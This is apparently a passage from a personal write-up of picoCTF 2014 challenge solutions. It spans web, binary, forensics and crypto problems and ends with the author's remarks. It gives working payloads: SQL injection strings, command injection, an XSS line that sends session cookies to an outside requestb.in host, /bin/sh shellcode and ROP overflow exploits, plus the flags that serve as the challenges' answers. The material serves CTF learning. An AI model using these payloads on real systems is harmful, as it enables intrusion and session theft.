# We write 1337 characters and overwrite secret with “1337” by using %n
cat flag.txt
Input: who_thought_%n_was_a_good_idea?

Flag: who_thought_%n_was_a_good_idea?

Web Exploitation – Injection 1 (90)

Daedalus Corp. has been working on their login service, using a brand new SQL database to store all of the access credentials. Can you figure out how to login?

Link: http://web2014.picoctf.com/injection1/

Solution:
admin’ —
Input: flag_vFtTcLf7w2st5FM74b

Flag: flag_vFtTcLf7w2st5FM74b

Forensics – PNG or Not? (100)

On a corner of the bookshelf, you find a small CD with an image file on it. It seems that this file is more than it appears, and some data has been hidden within. Can you find the hidden data?

Link: https://picoctf.com/problem-static/forensics/png-or-not/image.png

Solution:
Download the image
cp image.png image.zip
Open the zip file -> Open flag.txt
Input: EKSi7MktjOpvwesurw0v

Flag: EKSi7MktjOpvwesurw0v

Binary Exploitation – Overflow 2 (70)

This problem has a buffer overflow vulnerability! Can you get a shell? You can solve this problem interactively here, and the source can be found here.

Link: https://picoctf.com/problem-static/binary/Overflow2/overflow2.html#1

Solution:
objdump -d overflow2 | grep “shell”
# Getting the address of give_shell, 0x080484ad
./overflow2 $(python -c ‘print “A” * 28 + “\xad\x84\x04\x08″‘)
cat flag.txt
Input: controlling_%eip_feels_great

Flag: controlling_%eip_feels_great

Cryptology – ZOR (50)

Daedalus has encrypted their blueprints! Can you get us the password?
ZOR.py
encrypted

Solution:
# See zor.py or detect_singleChar_XOR.py
python zor.py
Input: 6a79aa0aca48c8579624a1aabebca7

Flag: 6a79aa0aca48c8579624a1aabebca7

Web Exploitation – Make a Face (100)

It looks like Daedalus is working on a new project to generate digital avatars for use online. After taking a look, at their site: http://makeaface.picoctf.com/ it seems like there is a pretty good chance the project isn’t completed, and may have some bugs. This might be the break we’ve been looking for to get inside their network.

Solution:
Right-click -> View Page Source Code
Open Burp Proxy with Intercept On
Edit any of the options
In Burp Decoder, URL encode: ;ls |
Copy the output: %3b%6c%73%20%7c
Edit all of the request parameters to the above output
Right-click -> Do Intercept – Response to this request
Forward
# We see an interesting “secret file”, but it’s not the flag
In Burp Decoder, URL encode: ;cat * |
Copy the output: %3b%63%61%74%20%2a%20%7c
Edit all of the request parameters to the above output
Right-click -> Do Intercept – Response to this request
Forward
# We get the real flag
Input: why_did_we_stop_using_perl_again?

Flag: why_did_we_stop_using_perl_again?

Binary Exploitation – Guess (75)

This program requires you to guess a random 32-bit number! Sounds difficult, right? There is a server running at vuln2014.picoctf.com:4546, and the source can be found here.

Solution:
Download and look at guess.c
# Let’s try a format string attack
nc vuln2014.picoctf.com 4546
%i %i %i %i
Input the fourth number (1523423779 in my case)
Input: leak_the_seakret

Flag: leak_the_seakret

Forensics – Droid App (80)

An Android application was released for the toaster bots, but it seems like this one is some sort of debug version. Can you discover the presence of any debug information being stored, so we can plug this?
You can download the apk here.

Link: https://picoctf.com/problem-static/forensics/DroidApp/ToasterBot.apk

Solution:
dex2jar ToasterBot.apk
Open the .jar file
Extract the picoapp folder
jad ToasterActivity.class
cat ToasterActivity.jad
Input: what_does_the_logcat_say

Flag: what_does_the_logcat_say

Forensics – Snapcat (80)

It was found that a Daedalus employee was storing his personal files on a work computer. Unfortunately, he corrupted the filesystem before we could prove it. Can you take a look? Download here.

Link: https://picoctf.com/problem-static/forensics/snapcat/disk.img

Solution:
foremost disk.img
Look in the jpg folder
Input: i_can_has_cheezburger

Flag: i_can_has_cheezburger

Binary Exploitation – ExecuteMe (80)

This program will run whatever you send to it! Try to get the flag! The binary can be found at /home/execute/ on the shell server. The source can be found here.

Link: https://picoctf.com/problem-static/binary/ExecuteMe/execute.c

Solution:
ssh pico5131@shell2014.picoctf.com -p 22
cd /home/execute/
cat execute.c
ltrace ./execute
# Notice the program reads our input as buf
(python -c ‘print “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80″‘; cat) | ./execute
# We write our own execve /bin/sh shellcode
whoami
cat flag.txt
Input: shellcode_is_kinda_cool

Flag: shellcode_is_kinda_cool

Miscellaneous – OBO (90)

This password changing program was written by an inexperienced C programmer. Can you some find bugs and exploit them to get the flag? The problem can be found at /home/obo/ on the shell server, and the source code can be downloaded here

Link: https://picoctf.com/problem-static/binary/OBO/obo.c

Solution:
ssh pico5131@shell2014.picoctf.com -p 22
cd /home/obo/
cat obo.c
# Notice the for loops are using a <= instead of a <
# This causes the program to write 1 to new_password
python -c ‘print “abcdefg123456789\n\1″‘ | /home/obo/obo
# We control the program
cd
vi python

#!/bin/sh
cat /home/obo/flag.txt

wq
# We create a bash script that reads the flag
chmod +x python
export PATH=/home_users/pico5131:$PATH
# We set the path to our current folder so that our fake Python is used
python2 -c “print ‘abcdefg123456789\n\1′”| /home/obo/obo
Input: watch_your_bounds

Flag: watch_your_bounds

Web Exploitation – secure_page_service (100)

The bad guys have hidden their access codes on an anonymous secure page service. Our intelligence tells us that the codes was posted on a page with id 43440b22864b30a0098f034eaf940730ca211a55, but unfortunately it’s protected by a password, and only site moderators can view the post without the password. Can you help us recover the codes?

Link: http://sps.picoctf.com/

Solution:
Under Register:
user: okok
pass: okokokokok
Register
After registering, enter the credentials to log in
View a Page: 43440b22864b30a0098f034eaf940730ca211a55 -> Go!
# The ‘Report to Moderator’ functionality has the mod review our page
# This may allow for session hijacking
Create a page: location.href=(“http://requestb.in/xn3iqcxn?c=”+document.cookie) -> Password: ok -> Create
# Take note of the page id
View a Page: ca81c957d18c2d6fb8016e60fd7494e114301395 -> Go!
Report to Moderator
Refresh requestbin page
# Note the PHPSESSID: 9kahvopls1uucfd8b7suenmhn1
In Cookie Manager+: Edit the sps.picoctf.com PHPSESSID to: 9kahvopls1uucfd8b7suenmhn1
View a Page: 43440b22864b30a0098f034eaf940730ca211a55 -> Go!
Input: wow_cross_site_scripting_is_such_web

Flag: wow_cross_site_scripting_is_such_web

Web Exploitation – Potentially Hidden Password (100)

This Daedalus Corp. website loads images in a rather odd way… [Source Code]

Link 1: http://web2014.picoctf.com/potentially-hidden-password-3878213/
Link 2: https://picoctf.com/problem-static/web/potentially-hidden-password/index.phps

Solution:
”’
In the provided source code we can see that we need to load “/resources/config/admin_mode.config” in order to get the flag
”’
Open Burp Proxy with Intercept On
Refresh the web app
Forward
file=/resources/config/admin_mode.config
Right-click -> Do intercept -> Response to this request
Forward everything
”’
Note the error:
No such file: /resources/files//resources/config/admin_mode.config
”’
Refresh the web app
Forward
file=../secrets/flag
Right-click -> Do intercept -> Response to this request
Forward everything
Input: i_like_being_included

Flag: i_like_being_included

Binary Exploitation – ROP 1 (100)

This binary is running on a machine with ASLR! Can you bypass it? The binary can be found at /home/rop1/ on the shell server. The source can be found here.

Solution:
python login.py
cd /home/rop1/
cat rop1.c
gdb -q ./rop1
disas main
disas vuln
br *vuln+25
r aaaa
x/50x $eax
# Note that eax contains our a’s at address 0xffffd6a0 (in my case)
# This means that when vuln returns, eax contains our input
r $(python -c ‘print “A” * 100’)
c
# We continue testing…
r $(python -c ‘print “A” * 76 + “B” * 4′)
# We control EIP
objdump -d rop1 | grep “call.*eax”
”’
We search for a ROP gadget that calls eax
Note the first result 0x8048d86 (in my case)
We will overwrite eip with this ROP gadget
This makes the program execute our input, as the gadget calls eax and eax is our input
We will use our previous shellcode, which is 25 bytes in size
76 – 25 = 51
Our exploit will look like:
<shellcode><padding><ROP gadget>
”’
./rop1 $(python -c ‘print “\x31\xc0\x50\x68\x2f\x2f\x 73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80” + “A” * 51 + “\x86\x8d\x04\x08″‘)
cat flag.txt
Input: theres_no_need_to_guess

Flag: theres_no_need_to_guess

Web Exploitation – Injection 2 (110)

Daedalus Corp.’s login woes continue. Can you sign in using their latest login system?

Link: http://web2014.picoctf.com/injection2/

Solution:
Read the source code: http://web2014.picoctf.com/injection2/login.phps
”’
Notice the if statements:
1) the number of rows has to be 1
2) the supplied password and the password being queried must be the same
3) user_level has to be 1337

”’
Open Burp Proxy with Intercept On
Login
username=SELECT * FROM users WHERE username=’$username’ AND password=’$password’
debug=1
Forward
# Take note of the debug information
Username: ‘UNION ALL SELECT null, null, “” AS password, null, 1337 AS user_level #
# UNION ALL concatenates the queries’ results
# Hence it can return one row with all the data we want to supply/retrieve
Login
Input: flag_nJZAKGWYt7YfzmTsCV

Flag: flag_nJZAKGWYt7YfzmTsCV

Reverse Engineering – Netsino (120)

Daedalus seems to have ties to a shady online gambling boss. Maybe if you beat him at his own game, you can persuade him to share some useful info. The server is running on vuln2014.picoctf.com:4547 and the source code can be found here.

Solution:
Look at netsino.c
# Notice the program does not look for negative numbers
# We can exploit this by trigerring an overflow with a large enough number
# max long = 2,147,483,647 ; we can use 3000000000
nc vuln2014.picoctf.com 4547
Bet: 3000000000
Selection: 5

Input: i_wish_real_casinos_had_this_bug

Flag: i_wish_real_casinos_had_this_bug

Cryptography – Repeated XOR (70)

There’s a secret passcode hidden in the robot’s “history of cryptography” module. But it’s encrypted! Here it is, hex-encoded: encrypted.txt. Can you find the hidden passcode?

Link: https://picoctf.com/api/autogen/serve/encrypted.txt?static=false&pid=82a42d1d859d5c2140e8942848e5db0e

Solution:
# See break_repeatingKeyXOR.py
python break_repeatingKeyXOR.py encrypted.txt

Flag: 49c8d7311c0fb8a7dba099b4708661b8da5b9949

Web Exploitation – Massive Fail (120)

Fed up with their recent PHP related issues, Daedalus Corp. has switched their website to run on Ruby on Rails (version 3.1.0) instead. Their brand new registration page does not seem like much of an improvement though… [Source].

Link: http://web2014.picoctf.com:5000/
Source: https://picoctf.com/problem-static/web/massive-fail/daedalus.zip

Solution:
Read app/controllers/user_controller.rb
Read db/schema.rb
Open Burp Proxy with Intercept On
Name: a
Username: a
Password: a
Register
Before the &commit, add: &user%5Bis_admin%5D=true
Forward
Input: no_framework_is_without_sin

Flag: no_framework_is_without_sin

Binary Exploitation – No Overflow (140)

This tries to prevent a buffer overflow by asking you how long your input is! Exploit it anyways! The binary can be found at /home/no_overflow/ on the shell server. The source can be found here.

Link: https://picoctf.com/problem-static/binary/NoOverflow/no_overflow.c

Solution:
gedit no_overflow.c
# Notice how the overflow prevention mechanism is implemented
# This can easily be bypassed by using negative numbers
python login.py
cd /home/no_overflow/
ls
mkdir /tmp/try
cp no_overflow /tmp/try
cd /tmp/try
ulimit -c unlimited
# This command enables core dumps
(echo -1; python -c ‘print “A” * 270 + “BBBB”‘; echo) | ./no_overflow
gdb -q no_overflow core
# Note that we need 268 in padding to control EIP
# We can now put in our shellcode
(echo -1; python -c ‘print “A” * 268 + “BBBB” + “\x90” * 50 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80″‘; echo) | ./no_overflow
gdb -q no_overflow core
x/50x $esp
# Let us choose address 0xffffd6f0 (may differ in your case)
cd /home/no_overflow
(echo -1; python -c ‘print “A” * 268 + “\xf0\xd6\xff\xff” + “\x90” * 50 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80″‘; cat) | ./no_overflow
cat flag.txt
Input: what_is_your_sign

Flag: what_is_your_sign

Web Exploitation – Injection 3 (130)

Daedalus Corp. has increased the security of their login prompt. Is it possible to work around their new defenses?

Link: http://web2014.picoctf.com/injection3/

Solution:
Right-click login.php -> View Page Source Code
Open ‘Admin’ in a new tab -> View Source
”’
This is similar to Injection 2, where we have to use the UNION command and enable debugging
”’
In the lookup_user.php page: id=NULL UNION ALL SELECT 1,2,3,4,5,6,group_concat(table_name) FROM information_schema.tables
# Listing all the tables
# super_secret_users seems to be what we’re looking for
id=NULL UNION ALL SELECT 1,2,3,4,5,6,group_concat(password) FROM super_secret_users
In the login page: admin:not_the_flag_super_secret_admin_password
Input: flag_2tc7ZPa5PEhcyZJXgH

Flag: flag_2tc7ZPa5PEhcyZJXgH

Binary Exploitation – What The Flag (140)

This binary uses stack cookies to prevent exploitation, but all hope is not lost. Read the flag from flag.txt anyways! The binary can be found at /home/what_the_flag/ on the shell server. You can solve this problem interactively here. The source can be found here.

Link: https://picoctf.com/problem-static/binary/WhatTheFlag/what_the_flag.html
Source: https://picoctf.com/problem-static/binary/WhatTheFlag/what_the_flag.c

Solution:
python login.py
cd /home/what_the_flag/
cat what_the_flag.c
”’
Notice the password: 1337_P455W0RD
Also notice the password buffer size is 16
Notice that it is set to read “not_the_flag.txt”
We need to set it to flag.txt
We can change the file_name pointer to point to f(lag) to achieve this goal
”’
objdump -s what_the_flag | grep “flag.txt”
# Note the address 0x8048778
# We have to adjust for the right address: 0x804877f
python -c ‘print “1337_P455W0RD\x00aa\x7f\x87\x04\x08″‘ | ./what_the_flag
Input: who_needs_%eip

Flag: who_needs_%eip

Reverse Engineering – Police Records (140)

A Theseus double agent has infiltrated the police force but the police won’t give you access to their directory information. Thankfully you found the source code to their directory server. Write a client to interact with the server and find the duplicated badge number! The flag is the badge number.
The server is running on vuln2014.picoctf.com:21212.

Link: https://picoctf.com/problem-static/reversing/PoliceRecords/directory_server.py

Solution:
# See police.py
python3 police.py
Input: 1430758

Flag: 1430758

Web Exploitation – Injection 4 (150)

Daedalus Corp. has once again improved their login service. They’re so confident, in fact, that they added a new registration feature. Can you find a way to login as ‘admin’?

Link: http://web2014.picoctf.com/injection4/

Solution:
”’
The new registration feature and its source code indicate this might be our way in
Looking at the register.php source code we can see that:
1) If a user exists, we’ll get “Someone has already registered”
2) The username isn’t escaped, so we can add other queries
3) If part of the password also matches, we’ll get the same message as #1

We can craft a script that will bruteforce the password one char at a time.
In this script we can use the LIKE statement along with the wildcard char %
LIKE is used to compare a value to similar values using wildcards,
so it is perfect for our purposes.

See injection_4.py
”’
python injection_4.py
# We get the password: youllneverguessthispassword
Log in as: admin:youllneverguessthispassword
Input: whereof_one_cannot_speak_thereof_one_must_be_silent

Flag: whereof_one_cannot_speak_thereof_one_must_be_silent

Binary Exploitation – Best Shell (160)

This shell is super useful! See if you can get the flag! The binary can be found at /home/best_shell/ on the shell server. The source can be downloaded here.

Solution:
Download the source code
”’
Notice in the input_handler:
char cmd[32];
void (*handler)(char *);

Notice in the rename_handler:
if (found != NULL){
strcpy(found->cmd, new);

This means that if we overflow the buffer with 32 chars, we can set the function pointer handler to an arbitrary address
We have to pick an address from shell_handler

”’
python login.py
cd /home/best_shell/
gdb -q ./best_shell
disas shell_handler
# Since the program requires authentication, we can use the geteid address
# to bypass this check; address: 0x080489d7

(python -c ‘import struct; print “rename lol ” + “a” * 32 + struct.pack(“<I”, 0x080489d7) + “\n” + “a” * 32 + struct.pack(“<I”, 0x080489d7) + “\n”‘; cat) | ./best_shell

cat flag.txt
Input: give_shell_was_useful

Flag: give_shell_was_useful

End-Notes: 

Very fun CTF. I especially liked the video game format, which made it even more fun.